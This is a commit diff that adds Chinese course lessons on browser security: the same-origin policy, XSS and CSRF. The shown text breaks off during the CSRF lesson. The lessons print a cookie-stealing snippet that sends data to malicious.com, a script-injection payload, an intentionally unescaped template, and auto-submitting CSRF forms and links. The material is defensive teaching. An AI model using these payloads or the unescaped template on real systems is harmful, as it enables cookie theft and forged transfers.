mirror of
https://github.com/cheetahlou/CategoryResourceRepost.git
synced 2025-11-17 14:43:42 +08:00
del
This commit is contained in:
@@ -0,0 +1,137 @@
|
||||
<audio id="audio" title="32 | 同源策略:为什么XMLHttpRequest不能跨域请求资源?" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/ad/5a/ad6bcea8db1937b21a5182c6a53f415a.mp3"></audio>
|
||||
|
||||
通过前面6个模块的介绍,我们已经大致知道浏览器是怎么工作的了,也了解这种工作方式对前端产生了什么样的影响。在这个过程中,我们还穿插介绍了一些浏览器安全相关的内容,不过都比较散,所以最后的5篇文章,我们就来系统地介绍下浏览器安全相关的内容。
|
||||
|
||||
浏览器安全可以分为三大块——**Web页面安全、浏览器网络安全**和**浏览器系统安全**,所以本模块我们就按照这个思路来做介绍。鉴于页面安全的重要性,我们会用三篇文章来介绍该部分的知识;网络安全和系统安全则分别用一篇来介绍。
|
||||
|
||||
今天我们就先来分析页面中的安全策略,不过在开始之前,我们先来做个假设,如果页面中没有安全策略的话,Web世界会是什么样子的呢?
|
||||
|
||||
Web世界会是开放的,任何资源都可以接入其中,我们的网站可以加载并执行别人网站的脚本文件、图片、音频/视频等资源,甚至可以下载其他站点的可执行文件。
|
||||
|
||||
Web世界是开放的,这很符合Web理念。但如果Web世界是绝对自由的,那么页面行为将没有任何限制,这会造成无序或者混沌的局面,出现很多不可控的问题。
|
||||
|
||||
比如你打开了一个银行站点,然后又一不小心打开了一个恶意站点,如果没有安全措施,恶意站点就可以做很多事情:
|
||||
|
||||
- 修改银行站点的DOM、CSSOM等信息;
|
||||
- 在银行站点内部插入JavaScript脚本;
|
||||
- 劫持用户登录的用户名和密码;
|
||||
- 读取银行站点的Cookie、IndexDB等数据;
|
||||
- 甚至还可以将这些信息上传至自己的服务器,这样就可以在你不知情的情况下伪造一些转账请求等信息。
|
||||
|
||||
所以说,**在没有安全保障的Web世界中,我们是没有隐私的,因此需要安全策略来保障我们的隐私和数据的安全**。
|
||||
|
||||
这就引出了页面中最基础、最核心的安全策略:**同源策略(Same-origin policy)**。
|
||||
|
||||
## 什么是同源策略
|
||||
|
||||
要了解什么是同源策略,我们得先来看看什么是同源。
|
||||
|
||||
**如果两个URL的协议、域名和端口都相同,我们就称这两个URL同源**。比如下面这两个URL,它们具有相同的协议HTTPS、相同的域名time.geekbang.org,以及相同的端口443,所以我们就说这两个URL是同源的。
|
||||
|
||||
```
|
||||
https://time.geekbang.org/?category=1
|
||||
https://time.geekbang.org/?category=0
|
||||
|
||||
```
|
||||
|
||||
浏览器默认两个相同的源之间是可以相互访问资源和操作DOM的。两个不同的源之间若想要相互访问资源或者操作DOM,那么会有一套基础的安全策略的制约,我们把这称为同源策略。
|
||||
|
||||
具体来讲,同源策略主要表现在DOM、Web数据和网络这三个层面。
|
||||
|
||||
**第一个,DOM层面**。同源策略限制了来自不同源的JavaScript脚本对当前DOM对象读和写的操作。
|
||||
|
||||
这里我们还是拿极客时间的官网做例子,打开极客时间的官网,然后再从官网中打开另外一个专栏页面,如下图所示:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/c9/d7/c9294ee10c571c8b7061a5c8f03b6cd7.png" alt="">
|
||||
|
||||
由于第一个页面和第二个页面是同源关系,所以我们可以在第二个页面中操作第一个页面的DOM,比如将第一个页面全部隐藏掉,代码如下所示:
|
||||
|
||||
```
|
||||
{
|
||||
let pdom = opener.document
|
||||
pdom.body.style.display = "none"
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
该代码中,对象opener就是指向第一个页面的window对象,我们可以通过操作opener来控制第一个页面中的DOM。
|
||||
|
||||
我们在第二个页面的控制台中执行上面那段代码,就成功地操作了第一个页面中的DOM,将页面隐藏了,如下图:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/2a/25/2a988d3d2f82aa4230f2b5025134b125.png" alt="">
|
||||
|
||||
不过如果打开的第二个页面和第一个页面不是同源的,那么它们就无法相互操作DOM了。比如从极客时间官网打开InfoQ的页面(由于它们的域名不同,所以不是同源的),然后我们还按照前面同样的步骤来操作,最终操作结果如下图所示:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/71/b5/711d96a58f670bda0d9b9608165839b5.png" alt="">
|
||||
|
||||
从图中可以看出,当我们在InfoQ的页面中访问极客时间页面中的DOM时,页面抛出了如下的异常信息,这就是同源策略所发挥的作用。
|
||||
|
||||
```
|
||||
Blocked a frame with origin "https://www.infoq.cn" from accessing a cross-origin frame.
|
||||
|
||||
```
|
||||
|
||||
**第二个,数据层面**。同源策略限制了不同源的站点读取当前站点的Cookie、IndexDB、LocalStorage等数据。由于同源策略,我们依然无法通过第二个页面的opener来访问第一个页面中的Cookie、IndexDB或者LocalStorage等内容。你可以自己试一下,这里我们就不做演示了。
|
||||
|
||||
**第三个,网络层面**。同源策略限制了通过XMLHttpRequest等方式将站点的数据发送给不同源的站点。你还记得在[《17 | WebAPI:XMLHttpRequest是怎么实现的?》](https://time.geekbang.org/column/article/135127)这篇文章的末尾分析的XMLHttpRequest在使用过程中所遇到的坑吗?其中第一个坑就是在默认情况下不能访问跨域的资源。
|
||||
|
||||
## 安全和便利性的权衡
|
||||
|
||||
我们了解了同源策略会隔离不同源的DOM、页面数据和网络通信,进而实现Web页面的安全性。
|
||||
|
||||
不过安全性和便利性是相互对立的,让不同的源之间绝对隔离,无疑是最安全的措施,但这也会使得Web项目难以开发和使用。因此我们就要在这之间做出权衡,出让一些安全性来满足灵活性;而出让安全性又带来了很多安全问题,最典型的是XSS攻击和CSRF攻击,这两种攻击我们会在后续两篇文章中再做介绍,本文我们只聊浏览器出让了同源策略的哪些安全性。
|
||||
|
||||
### 1. 页面中可以嵌入第三方资源
|
||||
|
||||
我们在文章开头提到过,Web世界是开放的,可以接入任何资源,而同源策略要让一个页面的所有资源都来自于同一个源,也就是要将该页面的所有HTML文件、JavaScript文件、CSS文件、图片等资源都部署在同一台服务器上,这无疑违背了Web的初衷,也带来了诸多限制。比如将不同的资源部署到不同的CDN上时,CDN上的资源就部署在另外一个域名上,因此我们就需要同源策略对页面的引用资源开一个“口子”,让其任意引用外部文件。
|
||||
|
||||
所以最初的浏览器都是支持外部引用资源文件的,不过这也带来了很多问题。之前在开发浏览器的时候,遇到最多的一个问题是浏览器的首页内容会被一些恶意程序劫持,劫持的途径很多,其中最常见的是恶意程序通过各种途径往HTML文件中插入恶意脚本。
|
||||
|
||||
比如,恶意程序在HTML文件内容中插入如下一段JavaScript代码:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/74/de/741dc2c53217aee177d18375a7aa94de.png" alt="">
|
||||
|
||||
当这段HTML文件的数据被送达浏览器时,浏览器是无法区分被插入的文件是恶意的还是正常的,这样恶意脚本就寄生在页面之中,当页面启动时,它可以修改用户的搜索结果、改变一些内容的连接指向,等等。
|
||||
|
||||
除此之外,它还能将页面的的敏感数据,如Cookie、IndexDB、LoacalStorage等数据通过XSS的手段发送给服务器。具体来讲就是,当你不小心点击了页面中的一个恶意链接时,恶意JavaScript代码可以读取页面数据并将其发送给服务器,如下面这段伪代码:
|
||||
|
||||
```
|
||||
function onClick(){
|
||||
let url = `http://malicious.com?cookie = ${document.cookie}`
|
||||
open(url)
|
||||
}
|
||||
onClick()
|
||||
|
||||
```
|
||||
|
||||
在这段代码中,恶意脚本读取Cookie数据,并将其作为参数添加至恶意站点尾部,当打开该恶意页面时,恶意服务器就能接收到当前用户的Cookie信息。
|
||||
|
||||
以上就是一个非常典型的XSS攻击。为了解决XSS攻击,浏览器中引入了内容安全策略,称为CSP。**CSP的核心思想是让服务器决定浏览器能够加载哪些资源,让服务器决定浏览器是否能够执行内联JavaScript代码**。通过这些手段就可以大大减少XSS攻击。
|
||||
|
||||
### 2. 跨域资源共享和跨文档消息机制
|
||||
|
||||
默认情况下,如果打开极客邦的官网页面,在官网页面中通过XMLHttpRequest或者Fetch来请求InfoQ中的资源,这时同源策略会阻止其向InfoQ发出请求,这样会大大制约我们的生产力。
|
||||
|
||||
为了解决这个问题,我们引入了**跨域资源共享(CORS)**,使用该机制可以进行跨域访问控制,从而使跨域数据传输得以安全进行。
|
||||
|
||||
在介绍同源策略时,我们说明了如果两个页面不是同源的,则无法相互操纵DOM。不过在实际应用中,经常需要两个不同源的DOM之间进行通信,于是浏览器中又引入了**跨文档消息机制**,可以通过window.postMessage的JavaScript接口来和不同源的DOM进行通信。
|
||||
|
||||
## 总结
|
||||
|
||||
好了,今天就介绍到这里,下面我来总结下本文的主要内容。
|
||||
|
||||
同源策略会隔离不同源的DOM、页面数据和网络通信,进而实现Web页面的安全性。
|
||||
|
||||
不过鱼和熊掌不可兼得,要绝对的安全就要牺牲掉便利性,因此我们要在这二者之间做权衡,找到中间的一个平衡点,也就是目前的页面安全策略原型。总结起来,它具备以下三个特点:
|
||||
|
||||
1. 页面中可以引用第三方资源,不过这也暴露了很多诸如XSS的安全问题,因此又在这种开放的基础之上引入了CSP来限制其自由程度。
|
||||
1. 使用XMLHttpRequest和Fetch都是无法直接进行跨域请求的,因此浏览器又在这种严格策略的基础之上引入了跨域资源共享策略,让其可以安全地进行跨域操作。
|
||||
1. 两个不同源的DOM是不能相互操纵的,因此,浏览器中又实现了跨文档消息机制,让其可以比较安全地通信。
|
||||
|
||||
## 思考时间
|
||||
|
||||
今天留给你的作业:你来总结一下同源策略、CSP和CORS之间的关系,这对于你理解浏览器的安全策略至关重要。
|
||||
|
||||
欢迎在留言区与我分享你的想法,也欢迎你在留言区记录你的思考过程。感谢阅读,如果你觉得这篇文章对你有帮助的话,也欢迎把它分享给更多的朋友。
|
||||
|
||||
|
||||
@@ -0,0 +1,200 @@
|
||||
<audio id="audio" title="33 | 跨站脚本攻击(XSS):为什么Cookie中有HttpOnly属性?" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/76/dd/768ed190f44b7150a794403e11761bdd.mp3"></audio>
|
||||
|
||||
通过[上篇文章](https://time.geekbang.org/column/article/151370)的介绍,我们知道了同源策略可以隔离各个站点之间的DOM交互、页面数据和网络通信,虽然严格的同源策略会带来更多的安全,但是也束缚了Web。这就需要在安全和自由之间找到一个平衡点,所以我们默认页面中可以引用任意第三方资源,然后又引入CSP策略来加以限制;默认XMLHttpRequest和Fetch不能跨站请求资源,然后又通过CORS策略来支持其跨域。
|
||||
|
||||
不过支持页面中的第三方资源引用和CORS也带来了很多安全问题,其中最典型的就是XSS攻击。
|
||||
|
||||
## 什么是XSS攻击
|
||||
|
||||
XSS全称是Cross Site Scripting,为了与“CSS”区分开来,故简称XSS,翻译过来就是“跨站脚本”。XSS攻击是指黑客往HTML文件中或者DOM中注入恶意脚本,从而在用户浏览页面时利用注入的恶意脚本对用户实施攻击的一种手段。
|
||||
|
||||
最开始的时候,这种攻击是通过跨域来实现的,所以叫“跨域脚本”。但是发展到现在,往HTML文件中注入恶意代码的方式越来越多了,所以是否跨域注入脚本已经不是唯一的注入手段了,但是XSS这个名字却一直保留至今。
|
||||
|
||||
当页面被注入了恶意JavaScript脚本时,浏览器无法区分这些脚本是被恶意注入的还是正常的页面内容,所以恶意注入JavaScript脚本也拥有所有的脚本权限。下面我们就来看看,如果页面被注入了恶意JavaScript脚本,恶意脚本都能做哪些事情。
|
||||
|
||||
- 可以**窃取Cookie信息**。恶意JavaScript可以通过“document.cookie”获取Cookie信息,然后通过XMLHttpRequest或者Fetch加上CORS功能将数据发送给恶意服务器;恶意服务器拿到用户的Cookie信息之后,就可以在其他电脑上模拟用户的登录,然后进行转账等操作。
|
||||
- 可以**监听用户行为**。恶意JavaScript可以使用“addEventListener”接口来监听键盘事件,比如可以获取用户输入的信用卡等信息,将其发送到恶意服务器。黑客掌握了这些信息之后,又可以做很多违法的事情。
|
||||
- 可以通过**修改DOM**伪造假的登录窗口,用来欺骗用户输入用户名和密码等信息。
|
||||
- 还可以**在页面内生成浮窗广告**,这些广告会严重地影响用户体验。
|
||||
|
||||
除了以上几种情况外,恶意脚本还能做很多其他的事情,这里就不一一介绍了。总之,如果让页面插入了恶意脚本,那么就相当于把我们页面的隐私数据和行为完全暴露给黑客了。
|
||||
|
||||
## 恶意脚本是怎么注入的
|
||||
|
||||
现在我们知道了页面中被注入恶意的JavaScript脚本是一件非常危险的事情,所以网站开发者会尽可能地避免页面中被注入恶意脚本。要想避免站点被注入恶意脚本,就要知道有哪些常见的注入方式。通常情况下,主要有**存储型XSS攻击、反射型XSS攻击**和**基于DOM的XSS攻击**三种方式来注入恶意脚本。
|
||||
|
||||
### 1. 存储型XSS攻击
|
||||
|
||||
我们先来看看存储型XSS攻击是怎么向HTML文件中注入恶意脚本的,你可以参考下图:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/2e/14/2ed3d8b93035df3c2bcfcc223dc47914.png" alt="">
|
||||
|
||||
通过上图,我们可以看出存储型XSS攻击大致需要经过如下步骤:
|
||||
|
||||
- 首先黑客利用站点漏洞将一段恶意JavaScript代码提交到网站的数据库中;
|
||||
- 然后用户向网站请求包含了恶意JavaScript脚本的页面;
|
||||
- 当用户浏览该页面的时候,恶意脚本就会将用户的Cookie信息等数据上传到服务器。
|
||||
|
||||
下面我们来看个例子,2015年喜马拉雅就被曝出了存储型XSS漏洞。起因是在用户设置专辑名称时,服务器对关键字过滤不严格,比如可以将专辑名称设置为一段JavaScript,如下图所示:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/54/49/5479e94a06d9a7cdf3920c60bf834249.png" alt="">
|
||||
|
||||
当黑客将专辑名称设置为一段JavaScript代码并提交时,喜马拉雅的服务器会保存该段JavaScript代码到数据库中。然后当用户打开黑客设置的专辑时,这段代码就会在用户的页面里执行(如下图),这样就可以获取用户的Cookie等数据信息。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/ef/3a/efaf4123438f37da4c7366b87ed1403a.png" alt="">
|
||||
|
||||
当用户打开黑客设置的专辑页面时,服务器也会将这段恶意JavaScript代码返回给用户,因此这段恶意脚本就在用户的页面中执行了。
|
||||
|
||||
恶意脚本可以通过XMLHttpRequest或者Fetch将用户的Cookie数据上传到黑客的服务器,如下图所示:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/b1/cb/b19300e39a753774f4a94635b46af7cb.png" alt="">
|
||||
|
||||
黑客拿到了用户Cookie信息之后,就可以利用Cookie信息在其他机器上登录该用户的账号(如下图),并利用用户账号进行一些恶意操作。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/72/52/720c6daf21a8adf55329af9eaa5ab052.png" alt="">
|
||||
|
||||
以上就是存储型XSS攻击的一个典型案例,这是乌云网在2015年曝出来的,虽然乌云网由于某些原因被关停了,但是你依然可以通过[这个站点](https://shuimugan.com/bug/view?bug_no=138479)来查看乌云网的一些备份信息。
|
||||
|
||||
### 2. 反射型XSS攻击
|
||||
|
||||
在一个反射型XSS攻击过程中,恶意JavaScript脚本属于用户发送给网站请求中的一部分,随后网站又把恶意JavaScript脚本返回给用户。当恶意JavaScript脚本在用户页面中被执行时,黑客就可以利用该脚本做一些恶意操作。
|
||||
|
||||
这样讲有点抽象,下面我们结合一个简单的Node服务程序来看看什么是反射型XSS。首先我们使用Node来搭建一个简单的页面环境,搭建好的服务代码如下所示:
|
||||
|
||||
```
|
||||
var express = require('express');
|
||||
var router = express.Router();
|
||||
|
||||
|
||||
/* GET home page. */
|
||||
router.get('/', function(req, res, next) {
|
||||
res.render('index', { title: 'Express',xss:req.query.xss });
|
||||
});
|
||||
|
||||
|
||||
module.exports = router;
|
||||
|
||||
```
|
||||
|
||||
```
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<title><%= title %></title>
|
||||
<link rel='stylesheet' href='/stylesheets/style.css' />
|
||||
</head>
|
||||
<body>
|
||||
<h1><%= title %></h1>
|
||||
<p>Welcome to <%= title %></p>
|
||||
<div>
|
||||
<%- xss %>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
```
|
||||
|
||||
上面这两段代码,第一段是路由,第二段是视图,作用是将URL中xss参数的内容显示在页面。我们可以在本地演示下,比如打开`http://localhost:3000/?xss=123`这个链接,这样在页面中展示就是“123”了(如下图),是正常的,没有问题的。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/7e/db/7ecb717abadfff2637a168d39f0c3cdb.png" alt="">
|
||||
|
||||
但当打开`http://localhost:3000/?xss=<script>alert('你被xss攻击了')</script>`这段URL时,其结果如下图所示:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/4d/fa/4dff7d83fe2eecc6cb52c126b4f650fa.png" alt="">
|
||||
|
||||
通过这个操作,我们会发现用户将一段含有恶意代码的请求提交给Web服务器,Web服务器接收到请求时,又将恶意代码反射给了浏览器端,这就是反射型XSS攻击。在现实生活中,黑客经常会通过QQ群或者邮件等渠道诱导用户去点击这些恶意链接,所以对于一些链接我们一定要慎之又慎。
|
||||
|
||||
另外需要注意的是,**Web服务器不会存储反射型XSS攻击的恶意脚本,这是和存储型XSS攻击不同的地方**。
|
||||
|
||||
### 3. 基于DOM的XSS攻击
|
||||
|
||||
基于DOM的XSS攻击是不牵涉到页面Web服务器的。具体来讲,黑客通过各种手段将恶意脚本注入用户的页面中,比如通过网络劫持在页面传输过程中修改HTML页面的内容,这种劫持类型很多,有通过WiFi路由器劫持的,有通过本地恶意软件来劫持的,它们的共同点是在Web资源传输过程或者在用户使用页面的过程中修改Web页面的数据。
|
||||
|
||||
## 如何阻止XSS攻击
|
||||
|
||||
我们知道存储型XSS攻击和反射型XSS攻击都是需要经过Web服务器来处理的,因此可以认为这两种类型的漏洞是服务端的安全漏洞。而基于DOM的XSS攻击全部都是在浏览器端完成的,因此基于DOM的XSS攻击是属于前端的安全漏洞。
|
||||
|
||||
但无论是何种类型的XSS攻击,它们都有一个共同点,那就是首先往浏览器中注入恶意脚本,然后再通过恶意脚本将用户信息发送至黑客部署的恶意服务器上。
|
||||
|
||||
所以要阻止XSS攻击,我们可以通过阻止恶意JavaScript脚本的注入和恶意消息的发送来实现。
|
||||
|
||||
接下来我们就来看看一些常用的阻止XSS攻击的策略。
|
||||
|
||||
### 1. 服务器对输入脚本进行过滤或转码
|
||||
|
||||
不管是反射型还是存储型XSS攻击,我们都可以在服务器端将一些关键的字符进行转码,比如最典型的:
|
||||
|
||||
```
|
||||
code:<script>alert('你被xss攻击了')</script>
|
||||
|
||||
```
|
||||
|
||||
这段代码过滤后,只留下了:
|
||||
|
||||
```
|
||||
code:
|
||||
|
||||
```
|
||||
|
||||
这样,当用户再次请求该页面时,由于`<script>`标签的内容都被过滤了,所以这段脚本在客户端是不可能被执行的。
|
||||
|
||||
除了过滤之外,服务器还可以对这些内容进行转码,还是上面那段代码,经过转码之后,效果如下所示:
|
||||
|
||||
```
|
||||
code:&lt;script&gt;alert(&#39;你被xss攻击了&#39;)&lt;/script&gt;
|
||||
|
||||
```
|
||||
|
||||
经过转码之后的内容,如`<script>`标签被转换为`&lt;script&gt;`,因此即使这段脚本返回给页面,页面也不会执行这段脚本。
|
||||
|
||||
### 2. 充分利用CSP
|
||||
|
||||
虽然在服务器端执行过滤或者转码可以阻止 XSS 攻击的发生,但完全依靠服务器端依然是不够的,我们还需要把CSP等策略充分地利用起来,以降低 XSS攻击带来的风险和后果。
|
||||
|
||||
实施严格的CSP可以有效地防范XSS攻击,具体来讲CSP有如下几个功能:
|
||||
|
||||
- 限制加载其他域下的资源文件,这样即使黑客插入了一个JavaScript文件,这个JavaScript文件也是无法被加载的;
|
||||
- 禁止向第三方域提交数据,这样用户数据也不会外泄;
|
||||
- 禁止执行内联脚本和未授权的脚本;
|
||||
- 还提供了上报机制,这样可以帮助我们尽快发现有哪些XSS攻击,以便尽快修复问题。
|
||||
|
||||
因此,利用好CSP能够有效降低XSS攻击的概率。
|
||||
|
||||
### 3. 使用HttpOnly属性
|
||||
|
||||
由于很多XSS攻击都是来盗用Cookie的,因此还可以通过使用HttpOnly属性来保护我们Cookie的安全。
|
||||
|
||||
通常服务器可以将某些Cookie设置为HttpOnly标志,HttpOnly是服务器通过HTTP响应头来设置的,下面是打开Google时,HTTP响应头中的一段:
|
||||
|
||||
```
|
||||
set-cookie: NID=189=M8q2FtWbsR8RlcldPVt7qkrqR38LmFY9jUxkKo3-4Bi6Qu_ocNOat7nkYZUTzolHjFnwBw0izgsATSI7TZyiiiaV94qGh-BzEYsNVa7TZmjAYTxYTOM9L_-0CN9ipL6cXi8l6-z41asXtm2uEwcOC5oh9djkffOMhWqQrlnCtOI; expires=Sat, 18-Apr-2020 06:52:22 GMT; path=/; domain=.google.com; HttpOnly
|
||||
|
||||
```
|
||||
|
||||
我们可以看到,set-cookie属性值最后使用了HttpOnly来标记该Cookie。顾名思义,使用HttpOnly标记的Cookie只能使用在HTTP请求过程中,所以无法通过JavaScript来读取这段Cookie。我们还可以通过Chrome开发者工具来查看哪些Cookie被标记了HttpOnly,如下图:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/de/bb/defa78c90a4e8f0debb09564561ab9bb.png" alt="">
|
||||
|
||||
从图中可以看出,NID这个Cookie的HttpOlny属性是被勾选上的,所以NID的内容是无法通过document.cookie是来读取的。
|
||||
|
||||
由于JavaScript无法读取设置了HttpOnly的Cookie数据,所以即使页面被注入了恶意JavaScript脚本,也是无法获取到设置了HttpOnly的数据。因此一些比较重要的数据我们建议设置HttpOnly标志。
|
||||
|
||||
## 总结
|
||||
|
||||
好了,今天我们就介绍到这里,下面我来总结下本文的主要内容。
|
||||
|
||||
XSS攻击就是黑客往页面中注入恶意脚本,然后将页面的一些重要数据上传到恶意服务器。常见的三种XSS攻击模式是存储型XSS攻击、反射型XSS攻击和基于DOM的XSS攻击。
|
||||
|
||||
这三种攻击方式的共同点是都需要往用户的页面中注入恶意脚本,然后再通过恶意脚本将用户数据上传到黑客的恶意服务器上。而三者的不同点在于注入的方式不一样,有通过服务器漏洞来进行注入的,还有在客户端直接注入的。
|
||||
|
||||
针对这些XSS攻击,主要有三种防范策略,第一种是通过服务器对输入的内容进行过滤或者转码,第二种是充分利用好CSP,第三种是使用HttpOnly来保护重要的Cookie信息。
|
||||
|
||||
当然除了以上策略之外,我们还可以通过添加验证码防止脚本冒充用户提交危险操作。而对于一些不受信任的输入,还可以限制其输入长度,这样可以增大XSS攻击的难度。
|
||||
|
||||
## 思考时间
|
||||
|
||||
今天留给你的思考题是:你认为前端开发者对XSS攻击应该负多大责任?
|
||||
|
||||
欢迎在留言区与我分享你的想法,也欢迎你在留言区记录你的思考过程。感谢阅读,如果你觉得这篇文章对你有帮助的话,也欢迎把它分享给更多的朋友。
|
||||
|
||||
|
||||
206
极客时间专栏/geek/浏览器工作原理与实践/浏览器安全/34 | CSRF攻击:陌生链接不要随便点.md
Normal file
206
极客时间专栏/geek/浏览器工作原理与实践/浏览器安全/34 | CSRF攻击:陌生链接不要随便点.md
Normal file
@@ -0,0 +1,206 @@
|
||||
<audio id="audio" title="34 | CSRF攻击:陌生链接不要随便点" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/d5/9c/d53fa87c549c104acbb7c36bc90c149c.mp3"></audio>
|
||||
|
||||
在[上一篇文章](https://time.geekbang.org/column/article/152807)中我们讲到了XSS攻击,XSS 的攻击方式是黑客往用户的页面中注入恶意脚本,然后再通过恶意脚本将用户页面的数据上传到黑客的服务器上,最后黑客再利用这些数据进行一些恶意操作。XSS攻击能够带来很大的破坏性,不过另外一种类型的攻击也不容忽视,它就是我们今天要聊的CSRF攻击。
|
||||
|
||||
相信你经常能听到的一句话:“别点那个链接,小心有病毒!”点击一个链接怎么就能染上病毒了呢?
|
||||
|
||||
我们结合一个真实的关于CSRF攻击的典型案例来分析下,在2007年的某一天,David 无意间打开了Gmail邮箱中的一份邮件,并点击了该邮件中的一个链接。过了几天,David就发现他的域名被盗了。不过几经周折,David还是要回了他的域名,也弄清楚了他的域名之所以被盗,就是因为无意间点击的那个链接。
|
||||
|
||||
**那David的域名是怎么被盗的呢?**
|
||||
|
||||
我们结合下图来分析下David域名的被盗流程:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/3d/6b/3d7f097b1d6a8f93a960a12892f1556b.png" alt="">
|
||||
|
||||
- 首先David发起登录Gmail邮箱请求,然后Gmail服务器返回一些登录状态给David的浏览器,这些信息包括了Cookie、Session等,这样在David的浏览器中,Gmail邮箱就处于登录状态了。
|
||||
- 接着黑客通过各种手段引诱David去打开他的链接,比如hacker.com,然后在hacker.com页面中,黑客编写好了一个邮件过滤器,并通过Gmail提供的HTTP设置接口设置好了新的邮件过滤功能,该过滤器会将David所有的邮件都转发到黑客的邮箱中。
|
||||
- 最后的事情就很简单了,因为有了David的邮件内容,所以黑客就可以去域名服务商那边重置David域名账户的密码,重置好密码之后,就可以将其转出到黑客的账户了。
|
||||
|
||||
以上就是David的域名被盗的完整过程,其中前两步就是我们今天要聊的CSRF攻击。David在要回了他的域名之后,也将整个攻击过程分享到他的站点上了,如果你感兴趣的话,可以参考[该链接](https://www.davidairey.com/google-gmail-security-hijack)(放心这个链接是安全的)。
|
||||
|
||||
## 什么是CSRF攻击
|
||||
|
||||
CSRF英文全称是Cross-site request forgery,所以又称为“跨站请求伪造”,是指黑客引诱用户打开黑客的网站,在黑客的网站中,利用用户的登录状态发起的跨站请求。简单来讲,**CSRF攻击就是黑客利用了用户的登录状态,并通过第三方的站点来做一些坏事**。
|
||||
|
||||
通常当用户打开了黑客的页面后,黑客有三种方式去实施CSRF攻击。
|
||||
|
||||
下面我们以极客时间官网为例子,来分析这三种攻击方式都是怎么实施的。这里假设极客时间具有转账功能,可以通过POST或Get来实现转账,转账接口如下所示:
|
||||
|
||||
```
|
||||
#同时支持POST和Get
|
||||
#接口
|
||||
https://time.geekbang.org/sendcoin
|
||||
#参数
|
||||
##目标用户
|
||||
user
|
||||
##目标金额
|
||||
number
|
||||
|
||||
```
|
||||
|
||||
有了上面的转账接口,我们就可以来模拟CSRF攻击了。
|
||||
|
||||
### 1. 自动发起Get请求
|
||||
|
||||
黑客最容易实施的攻击方式是自动发起Get请求,具体攻击方式你可以参考下面这段代码:
|
||||
|
||||
```
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<body>
|
||||
<h1>黑客的站点:CSRF攻击演示</h1>
|
||||
<img src="https://time.geekbang.org/sendcoin?user=hacker&number=100">
|
||||
</body>
|
||||
</html>
|
||||
|
||||
```
|
||||
|
||||
这是黑客页面的HTML代码,在这段代码中,黑客将转账的请求接口隐藏在img标签内,欺骗浏览器这是一张图片资源。当该页面被加载时,浏览器会自动发起img的资源请求,如果服务器没有对该请求做判断的话,那么服务器就会认为该请求是一个转账请求,于是用户账户上的100极客币就被转移到黑客的账户上去了。
|
||||
|
||||
### 2. 自动发起POST请求
|
||||
|
||||
除了自动发送Get请求之外,有些服务器的接口是使用POST方法的,所以黑客还需要在他的站点上伪造POST请求,当用户打开黑客的站点时,是自动提交POST请求,具体的方式你可以参考下面示例代码:
|
||||
|
||||
```
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<body>
|
||||
<h1>黑客的站点:CSRF攻击演示</h1>
|
||||
<form id='hacker-form' action="https://time.geekbang.org/sendcoin" method=POST>
|
||||
<input type="hidden" name="user" value="hacker" />
|
||||
<input type="hidden" name="number" value="100" />
|
||||
</form>
|
||||
<script> document.getElementById('hacker-form').submit(); </script>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
```
|
||||
|
||||
在这段代码中,我们可以看到黑客在他的页面中构建了一个隐藏的表单,该表单的内容就是极客时间的转账接口。当用户打开该站点之后,这个表单会被自动执行提交;当表单被提交之后,服务器就会执行转账操作。因此使用构建自动提交表单这种方式,就可以自动实现跨站点POST数据提交。
|
||||
|
||||
### 3. 引诱用户点击链接
|
||||
|
||||
除了自动发起Get和Post请求之外,还有一种方式是诱惑用户点击黑客站点上的链接,这种方式通常出现在论坛或者恶意邮件上。黑客会采用很多方式去诱惑用户点击链接,示例代码如下所示:
|
||||
|
||||
```
|
||||
<div>
|
||||
<img width=150 src=http://images.xuejuzi.cn/1612/1_161230185104_1.jpg> </img> </div> <div>
|
||||
<a href="https://time.geekbang.org/sendcoin?user=hacker&number=100" taget="_blank">
|
||||
点击下载美女照片
|
||||
</a>
|
||||
</div>
|
||||
|
||||
```
|
||||
|
||||
这段黑客站点代码,页面上放了一张美女图片,下面放了图片下载地址,而这个下载地址实际上是黑客用来转账的接口,一旦用户点击了这个链接,那么他的极客币就被转到黑客账户上了。
|
||||
|
||||
以上三种就是黑客经常采用的攻击方式。如果当用户登录了极客时间,以上三种CSRF攻击方式中的任何一种发生时,那么服务器都会将一定金额的极客币发送到黑客账户。
|
||||
|
||||
到这里,相信你已经知道什么是CSRF攻击了。**和XSS不同的是,CSRF攻击不需要将恶意代码注入用户的页面,仅仅是利用服务器的漏洞和用户的登录状态来实施攻击**。
|
||||
|
||||
## 如何防止CSRF攻击
|
||||
|
||||
了解了CSRF攻击的一些手段之后,我们再来看看CSRF攻击的一些“特征”,然后根据这些“特征”分析下如何防止CSRF攻击。下面是我总结的发起CSRF攻击的三个必要条件:
|
||||
|
||||
- 第一个,目标站点一定要有CSRF漏洞;
|
||||
- 第二个,用户要登录过目标站点,并且在浏览器上保持有该站点的登录状态;
|
||||
- 第三个,需要用户打开一个第三方站点,可以是黑客的站点,也可以是一些论坛。
|
||||
|
||||
满足以上三个条件之后,黑客就可以对用户进行CSRF攻击了。这里还需要额外注意一点,与XSS攻击不同,CSRF攻击不会往页面注入恶意脚本,因此黑客是无法通过CSRF攻击来获取用户页面数据的;其最关键的一点是要能找到服务器的漏洞,所以说对于CSRF攻击我们主要的防护手段是提升服务器的安全性。
|
||||
|
